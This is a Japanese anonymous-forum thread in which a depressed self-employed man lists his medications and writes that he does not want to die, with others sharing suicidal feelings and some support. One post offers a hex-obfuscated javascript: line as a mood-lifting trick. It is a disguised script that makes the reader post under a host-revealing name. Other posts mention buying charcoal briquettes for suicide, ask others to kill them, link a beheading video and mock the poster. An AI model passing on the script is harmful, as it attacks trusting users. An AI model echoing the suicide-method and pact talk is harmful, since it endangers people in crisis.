死にたくない

40代の自営業者です。薬はチラーデンＳ錠50、リタリン錠「チバ」ルボックス錠50ｍｇを3錠、デパス錠1ｍｇを3錠
炭酸リチウム錠100「ヨシトミ」を2錠、サイレース錠1ｍｇを1錠、サイレース錠2ｍｇを1錠、テトラミド錠30ｍｇを1錠
トレドミン錠15ｍｇを8錠、セニラン錠5ｍｇを4錠、飲んでいます。
死にたくないのに、生きる気力というものがどんどん無くなっていきます。
従業員の事、家族の事思うと余計に死にたくないです。
最近特にひどくなってきて笑うのさえつらいです。
変なカキコすみません。

　　 　,,-‐''""''ー--е >1把握した
　　.|"" 　 　 　　.　.|| 　 >3(´･ω･`)知らんがな
　. ;;|　　VIP連合　.||　 　>4おっぱい！おっぱい！
::　.;;| 　　　　　　　...||　　 　　 >5ピザでも食ってろデブｗ
.:::::;:;|　　　　,ノ""""|| 　 >6僕は、神山満月ちゃん！
.:::::;;:| ,/""" 人　 ;ｎ|| >7夢がひろがりんぐｗｗｗｗｗｗｗ
　 ""　　　（＿_）./　） >8だから個人宛てって言ってんじゃよ
　　　　　 （＿___./ /|| 　人　 >9そんなことロスでは日常茶飯事だぜ(´･ω･`)y─┛~~~~
V・I・P>∩（・∀/ / 　 （＿_）　 >10-1000それが、ＶＩＰクオリティ
　　　　 ＼ 　 （ と）　（＿＿） >1001イヤッッホォォォオオォオウ！
　　　　　 〈　〈 ヽ )＼（´∀｀　）　 　　　n
　　　　　 （＿）（ノ,　　　　 　 ＼　 　 （ E）
　　　　　　　 　 　 | VIP　 /ヽ ヽ_／／

3

4様も死にたくない･･･

でも･･･でも･･･

落ち着け。
なんとかなるさ！

>>1
意味不明。
死にたいというならまだわかるが、なんで死にたくないで苦しんで
いるのかわからない。

6はｼｱﾜｾっぽい

死にたくないけど、死なざるを得ないような気持ちになっているんだと思う

俺がそうだし・・・

>>1
とりあえず時間を作れ。２ｃｈは最低限にしろ。

>>1 >>9 ＰＤで死恐怖症だけど、同じく・・。
欝とＣＦＳみたい。　ほとんど寝てます。

>>9
ありがとう。
>>8
死んでもどうでもいいと思うんだけどやはり死ぬのが怖いんだよ。
>>10のように寝ていたいんだけど休みなんて一日も無い。なんか体中痛いし、頭なんか割れそうだ。

今、>>10が教えてくれたＣＦＳ関連のＨＰ見て来ました。まったくそんな症状です。
こんな病気があるとは知りませんでした。勉強になりました。ありがとう。
主治医は入院した方がいいと言ってた意味がわかりました。けど、今年いっぱいは…

●

死ぬ前に下の事やってみな、ちょっとだけ、死にたい気持ちが和らぐから。

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524
f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e7661
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42e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

俺はこれをやって思わず笑ってしまったよｗｗ

ａｇｅ

>>14
確かに笑えるな。
┐(´ー｀)┌

何が何だか辛い。

死にたくなくてもいつかは死ぬ。明日死ぬかもしれない。

兄貴画像ください

いまいち意味がよくわかんない・・・

百害あって一利なし　のイラクへの自衛隊派遣はやめて、
震災でたいへんな新潟に 派遣すればいいんではないでしょうか。
お金も人も物資も全部。 03,04年度で自衛隊派遣に377億円かけてるんだから、
少なくとも 一日5000万円。その費用と人を新潟に回そう。

<1>香田君を救うことが最優先であること、
<2>小泉首相は自衛隊の撤退に踏み切るべきこと、これを要求する行動を強めること、
<3>インターネットなどの手段で香田君は自衛隊関係者などではなく一般市民であることをイラクの人びとに伝えること、
<4>全国各地で呼応して行動に立ち上がるよう呼びかけを強めること、
<5>２８日はさらに多くの人びとで議面を埋め尽くすよう働きかけること、
<6>メディアに対する働きかけを強めること、
これらを４８時間と限られた時間の中で、出来る限り努力することを申し合わせました。
あす28日、１８時、衆議院議面にお集まりください。これを一人でも多くの人びとにお伝えください。

http://www.worldpeacenow.jp/

兄貴画像ください

兄貴画像ください

兄貴画像ください

あぅ・・・・

>>21
コーダ君
死んだ方がいいじゃん
危険なのわかってる場所に立ち入る馬鹿はこうなるんですよって
見せしめした方がいいよ

殺された事には同情はするけどルールすら守れない人の為にいくらかかったんだろう？
で、私は相変わらず死ねずに生きている。

同じです。
子供のことを考えて、ぐっと踏みとどまる日々に
疲れを感じています。
いっそのこと、誰か、自分を殺してくれないかと考える。

病気のせいにするのもなんだか逃げるみたいで(自分が、ね。通院してる方を不愉快にさせたらごめんなさい。)なんとか踏ん張ってきたけど、本当に疲れたよ。

兄貴画像ください

>>28
うん。疲れるね。逃げたしたいけどでも何故か逃げられない。
殺されてもいいと思う反面死にたくは無い。
こんな考え普通の人から見るとやはりおかしいんだろうな。
ただ、楽になりたいだけなんだ。

練炭買いました。
反応があればメアド晒します。

＞１
私もそんな感じです。
生きるのが辛い時があります。
でも死にたくない。
そんな感じです。
現在、PDと欝、強迫で病院にはかかっているけど、あんまり改善されません。
一体、自分が何を求めているか、解からない状態です。

　　　　　　从巛从川仆从川/〃彡爻ﾐ､
　　　　　从川仆仆从巛仆ｌ 川彡三ミﾐﾐ:､
　　　　 从彡爻ヾ川巛仆从巛ミミ三≡ミﾐ:
　　　　彡巛ヾ巛ヾ''""ﾞ"""ﾎヾヾヾ彡三≧ﾐ
　　　 彡从ミﾞ　　　　　　　　ヾ＼ヽ ヽ彡彡ﾐ}
　　　　川从'　　　　　　　　　　ヾﾆヽ |ｷ彡::ﾂ
　　　　仆从ｊ 　___　　　　　　　　　　 ｀ｷ三ｿ
　　　　从｣ ｆ　 "ﾞ二'''':､　　 ,,:;:::'三''''　 ﾐﾐ,4
　　　　 ｛ I}|　　く{;ｄヽ 、　　 ,ィ';ｄ'ヾ　 }ﾂ,.}
　　　　　ヾｌｌ　 　　ﾆ´ : !　　 ､｀ﾆ　　　ﾐ Ｉ|
　　　　　　'J.　　 　 　 ;ｌ　.　　　　　　 ﾐﾚ′　　　　>>1は死にたくないって取り乱してるけど
　　　　　 从l　　　　　;''　;　　　　　 　 ﾘ'　　　　　　こんな糞スレ立てるしか能が無い
　　　 　 从从　　　　 ^ ｰ ^'　 　　　〃　　　　　　　愚かな>>1が生きていたってしようが
　　　　　_／ |ヽ　 ''^ｰ＝=＝‐'^　 ,.ｲ　　　　　　　　ないじゃないですか。　
一''"￣　　　 |　＼　　“'''''''”　　,.ｲト､,. ‐--―一=⇒ヽ
　　　　　　　　ｌ　　＞ ､._＿_,. ‐' ,ﾑ‐''　　　　.....:::::::::::::ﾉ

>>29
http://www.ogrish.co m/a/shosei_koda_beheading_video_on_american_flag.html

>>33
じゃあなんとかしてそっちまで行くから殺して。
本当は死にたくないし死ぬのは怖いんだけど楽になりたいんだ。

死んだら楽になれる？そんなわけ無いよ絶対。
生きてください。本当に最期死ぬとき笑って死ねるように。

死＝無
ではないのでしょうか。
飽くまでも、逃げでしかないことは自分でも重々承知で。
それでも、走り続けることに疲れて。
自ら命を絶てば、遺してしまう存在への罪悪感やら責任放棄やらを感じてしまうし、誰かに殺されるなら、あたかも自分の意志とは違う不可抗力と世間的にはみなされる。
それなら、遺していく存在に、少なくとも、『捨てられた』という意識は植え付けなくて済むのではないかと。

最期まで責任逃れをしようとする自分に、ますます嫌気がさすのも事実。

誰のことも傷つけたくない。
綺麗事でしか有り得ないですね。
ごめんなさい。

>>36
ありがとうございます。
普通の方にはわかっていただけないでしょうが本当に死にたくはないのです。
ただ楽になりたいだけなのです。

>>37
なんとなくわかります。
私もそんな感じです。誰の事も傷つけたくないのです。
でも、死ねば誰かが傷つく悲しむ。
それは嫌なのです。我が儘なのはまだ重々承知しています。
この承知出来ている自分の中の何かが壊れてしまうのが怖いのです。

俺のじいちゃんは、見事に店が破産して。
銀行に店を渡して、今は年金で、親戚のマンションに超安価で居候中
なのに、未だに昔、買った豪華な調度品や無駄な家財道具を捨てきれずに
倉庫まで借りて、そこに保管してる
この前あったら見事に気が狂ってた。
とくに意味は無いけど、>>1さんはまだ４０代だし、じいちゃんと比べてやり直しは全然きくって

家族とか友人とか、いつかは自分のそばからいなくなるもの。
そう考えたらいっそのこと、いない方がマシとか危ない考えが浮かんできます。

>>39
ありがとう。でも違うんだ。事業はそれなりに貧乏暇無し自転車操業でやってる。
なんでこんな気持ちになるんだかわからないから余計に…
だから死にたくないのに楽になりたいんだ。

また早くから目が覚めてしまった。
この頃は家内の理解も薄れてきた。
仕方ないよな。毎日疲れた顔して家庭サービスもろくに出来ないし…
子供はまだ７歳なのに気遣ってくれる。
情けない限りだけど優しい子だ。
人に対しての優しさだけはいつまでも忘れずにいて欲しい。
ところで頭痛がひどいので病院に行ったら脳神経外科に廻されてＭＲＩとかいうものをやった。
結果は御陰様で脳には異常なし。
なんなんだよ。俺のバカヤロウ。
家族に優しく接してやりたい。
遊びに連れてってやりたい。

子供と朝マックちゅ。
普段は放置しまくり。
うちの子も優しい子です。
自分が苛々していると素早く顔色を読み取って同調してくれる。
わかってるよ。
情けない親だって。
それでもさ、一番理解してくれるのはこいつだな。自分が守ってやらなきゃならない存在なのに、逆に守られてんな。
そう思ったら、なんとか踏みとどまることが出来てる。
こんな親でも必要として守ってくれてるから、頑張らなきゃだね。


今は気持ちが穏やかだからこう書ける。
頑張れなくなったら、またここを見ます。

自分が消えて、誰かを幸せにすることが出来るなら喜んで消える。

>>44
素晴らしいようないけないような考えだね。
先日脳外科連れて行かれたけど脳事態には異常なしとの事。
でも、とうとう動けなくて一日ねてました。
心って何処にあるのだろう？
心って何だろう？
明日もう一度病院へ行って来ます。

心が無かったら苦しいとか嫌だとか感じなくてすむ(と思う)
でも反対に嬉しいとか幸せとかも感じなくなってしまう(と思う)

心って邪魔だけど大切だ(とか思う)

＞1
むしろ薬をのんでるから具合が悪いんじゃないんでしょうか？
たまには気功や整体、銭湯とかでリラックスしてみては？

薬のなんとかで血中濃度測るって採血して来ました。

>>46
確かにそうだね。
でもその心が折れたのかなぁ？
目に見えない物に添え木は出来ないし…


>>47
ありがとう。
でも、全部やったよ。
でも、ダメだったんだ。
脳自体はＭＲＩで見ても異常なしだし…

先生は暫く休めって言うけれど自営業者に休みなんて無理だ。
ましてや私は特殊なフランチャイズ店みたいなものだからね。

家族、社員の為にも、本当に死にたくないのに死ぬ訳にもいかないのに…

漏れも自営業者で鬱、パニック持ってるけど、最近はねー、
もうどうにでもなれ！って感じで開き直ってるよ。
自分１人で全て抱え込むのはよそうってね。
だから、>1も勤務時間削って趣味に没頭できる時間つくる
とかしてみれば？
家族や従業員も大事だが、自分のことももっと大事にね。

>>49
どうもありがとう。
没頭出来ればいいんだけどね。
何か探してみます。

うちのお父さんも自営業やってるんだけど
やっぱり家族は重荷になるのかな。ならお母さんと
お父さん別れても良いと思ってる。

>>51
なんて優しい人間なんだ…｡

>>51
そんな事ないよ。
家族が重荷なんて思う人はね。
ただ、私が弱虫なだけなんだよ。
そんな風に思わないでね。
お願いだから。

死にたくない。
でもいなくなりたい。
迷惑ばかりかけて、
心配させて、
いなくなりたい。
でも、死にたくないよ。

詩人ゴッコは辞めろよ
恥ずかしいぞ

精神病の真実
http://life7.2ch.net/test/read.cgi/utu/1103049211/

>>1
答えは簡単だ
生きろ

それと飲んでる薬まで自慢気に書くな。
書いてて情けなくないか？

兄貴画像ください

>>59
m9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ

兄貴画像ください

　

>1
ずいぶん来てないようだけど、何とかかんとかやっていけてるのかな？
ならいいんだけど。

IDtest

生きてるのも辛い、死ぬのも嫌。
そーいえば俺にもこんな頃があったなってこのスレタイ見て思い出した。

ていうか生きるの面倒だよな。

うほ！

生きてるか？>>1

>>1
飲みすぎ

>>1
流石にそれだけ飲むとやばくないか？
少し控えめにしとけ

>65
ふいに‥心配になった。今は？死にたい‥？
私も地団駄踏んでるなぁ‥どっちもつかないところで。

>1さん、今日はじめてきました。死にたい仲間を集ったりが多い中で1さんはがんがってると思いました。

無理せずに‥

＞１　んなの、作業所とかじゃ、よくも悪くも珍しくない。

漏れ50歳零細自営
生きるのが辛い・・・
末っ子が成人するまで後10年。
後10年で逝ける。頑張ろうと自分を励ますが挫けそうだ・・・

漏れ50歳零細自営
家族構成は漏れ+嫁+子？+？身元がばれると一直線になりそうなので伏せます
つい2〜3年前までは漏れは幸せだ！と思ってた。はぁ、ただの勘違いだった。
書いて気が晴れるかと思ったが、うつがひどくなってきた・・・
中卒の漏れには漏れの感情を言葉に変えれるほどの知恵＆語尾が無い事を思い知らされた
あぁ楽になりたい・・・今はただそれだけだ

漏れ50歳零細自営
死ねたらどれだけ楽だろうか・・・
漏れを支えてるのは子への責任？だけだ。
いや、ただの臆病者かも、、、生きるのがつらい

漏れ50歳零細自営
こころがいたい・・・
末っ子がきた。今日は取り合えず生きれた。
明日も生きよう。でも、自信が無い・・・

50歳で漏れとか書いてるあんたは偉い

漏れ50歳零細自営
だめだ、どんどん気持ちが落ちてきてる。
こんな年でこんな状態になるとは夢にも思わなかった、、、
仕事が出来ない、やりたくない、でもやらないと家族が、、、、
零細ゆえ仕事を休むと次がない、、、
休んで心に休養を与えたいが休めない。
でも、、、身体が動かない。事務所に居るだけで開店休業状態。あはは。
負のスパイラルが続く、、、。行きたくても行けない。
50にもなってどうしようもない俺！悲しいなぁ・・・・

死にたい、でも生きたい

「死にたい」と言いたくなったら「しあわせになりたい」にすり替えてる
だって、つらいから死にたい、でも死にたくない、本当は生きてしあわせに笑っていたい
でも、何がしあわせなのかさっぱりわからない
それでも「死にたい」と言うのをやめたら、ささやかだけど楽しみができた
わたしだって、楽しんでもいいんだと思いはじめた
わたしがたまに笑っていたりしても、誰も不幸になったりしないよね？
こんな人生でも、わたしは生きたい いつかしあわせになりたい

兄貴画像ください

あなただけでなく、誰でもそう思ってるとおもう。
自分は死にたいと思うことはあまりないけど、
その代わりに、この苦しみに負けたくない、と思っています。
鬱なので発作的に・・という危険はありますが、
病気とうまく付き合って「負けたくない」と思っています。